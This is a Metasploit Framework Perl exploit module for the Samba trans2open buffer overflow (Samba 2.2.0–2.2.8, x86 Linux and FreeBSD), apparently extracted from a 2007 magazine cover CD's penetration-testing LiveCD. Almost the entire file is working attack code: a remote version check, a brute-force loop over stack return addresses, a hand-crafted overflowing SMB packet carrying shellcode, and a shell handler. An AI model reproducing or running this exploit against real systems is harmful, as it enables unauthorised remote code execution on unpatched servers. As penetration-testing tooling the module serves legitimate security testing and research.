Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/usr/lib/metasploit/exploits/samba_trans2open.pm

Text File | 2006-06-30 | 6KB | 227 lines

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::samba_trans2open;
use base 'Msf::Exploit';
use strict;
use Pex::Text;
use Pex::SMB;

my $advanced = { };

my $info =
  {
    'Name'    => 'Samba trans2open Overflow',
    'Version' => '$Revision: 1.37 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],

    'Arch'  => [ 'x86' ],
    'OS'    => [ 'linux', 'bsd' ],
    'Priv'  => 1,

    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The samba port', 139],
        'SRET', => [0, 'DATA', 'Use specified return address'],
        'DEBUG' => [0, 'BOOL', 'Enable debugging mode'],
      },

    'Payload' =>
      {
        'Space'      => 734,
        'BadChars'  => "\x00",
        'Keys'      => ['+findsock'],
      },

    'Description'  => Pex::Text::Freeform(qq{
        This exploits the buffer overflow found in Samba versions
        2.2.0 to 2.2.8. This particular module is capable of
        exploiting the bug on x86 Linux and FreeBSD systems.
}),

    'Refs'  =>
      [
        ['OSVDB', '4469'],
        ['URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
        ['MIL', '53'],
      ],

    'Targets' =>
      [
        ["Linux x86",   0xbffffdfc, 0xbfa00000, 512, "RWRWDDRD"],
        ["FreeBSD x86", 0xbfbffdfc, 0xbf100000, 512, "RWDWDDDD"],
      ],

    'Keys'  => ['samba'],

    'DisclosureDate' => 'Apr 7 2003',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Check {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr' => $target_host,
        'PeerPort' => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
      );
    if ($s->IsError) {
        $self->PrintLine("[*] Error creating socket: " . $s->GetError);
        return $self->CheckCode('Connect');
    }

    my $x = Pex::SMB->new({ 'Socket' => $s });

    $x->SMBNegotiate();
    if ($x->Error) {
        $self->PrintLine("[*] Error negotiating protocol");
        return $self->CheckCode('Generic');
    }

    $x->SMBSessionSetup();
    if ($x->Error) {
        $self->PrintLine("[*] Error setting up session");
        return $self->CheckCode('Generic');
    }

    my $version = $x->PeerNativeLM();
    $s->Close;

    if (! $version) {
        $self->PrintLine("[*] Could not determine the remote Samba version");
        return $self->CheckCode('Generic');
    }

    $self->PrintDebugLine(1, 'LanMan: '.$version);
    $self->PrintDebugLine(1, ' OpSys: '.$x->PeerNativeOS);

    if ($version =~ /samba\s+([01]|2\.0|2\.2\.[0-7]|2\.2\.8$)/i) {
        $self->PrintLine("[*] Target seems to running vulnerable version: $version");
        return $self->CheckCode('Appears');
    }

    $self->PrintLine("[*] Target does not seem to be vulnerable: $version");
    return $self->CheckCode('Safe');
}

sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   =$self->GetVar('EncodedPayload')->Payload;

    my $target = $self->Targets->[$target_idx];

    my $curr_ret;

    $self->PrintLine("[*] Starting bruteforce mode for target ".$target->[0]);

    if ($self->GetVar('SRET'))
    {
        my $ret = eval($self->GetVar('SRET')) + 0;
        $target->[1] = $target->[2] = $ret;
    }

    for (
        $curr_ret  = $target->[1];
        $curr_ret >= $target->[2];
        $curr_ret -= $target->[3]
      )
    {
        my $Ret = pack("V", $curr_ret);
        my $Wri = pack("V", ($curr_ret - 128));
        my $Dat = "META";
        my $Addr;

        foreach (split(//, $target->[4]))
        {
            $Addr .= $Ret if $_ eq "R";
            $Addr .= $Wri if $_ eq "W";
            $Addr .= $Dat if $_ eq "D";
        }

        my $s = Msf::Socket::Tcp->new
          (
            'PeerAddr'  => $target_host,
            'PeerPort'  => $target_port,
            'LocalPort' => $self->GetVar('CPORT'),
            'SSL'       => $self->GetVar('SSL'),
          );
        if ($s->IsError) {
            $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
            return;
        }

        my $x = Pex::SMB->new({ 'Socket' => $s });

        $x->SMBNegotiate();
        if ($x->Error) {
            $self->PrintLine("[*] Error negotiating protocol");
            return;
        }

        $x->SMBSessionSetup();
        if ($x->Error) {
            $self->PrintLine("[*] Error setting up session");
            return;
        }

        $x->SMBTConnect("\\\\127.0.0.1\\IPC\$");
        if ($x->Error) {
            $self->PrintLine("[*] Error connecting to IPC");
            return;
        }

        my $Overflow =
          "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
          "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
          "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";

        $Overflow .=  $shellcode;
        $Overflow .= "A" x 297;
        $Overflow .=  $Addr . ("\x00" x 273);

        $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret));

        if ($self->GetVar('DEBUG'))
        {
            print STDERR "[*] Press enter to send overflow string...\n";
            <STDIN>;
        }

        $s->Send($Overflow);
        $s->Send("\x00" x 810);

        # handle client side of shellcode
        $self->Handler($s);

        # give the payload time to execute
        sleep(5) if ($self->GetVar('SRET'));

        $s->Close();
        undef($s);
    }
    return;
}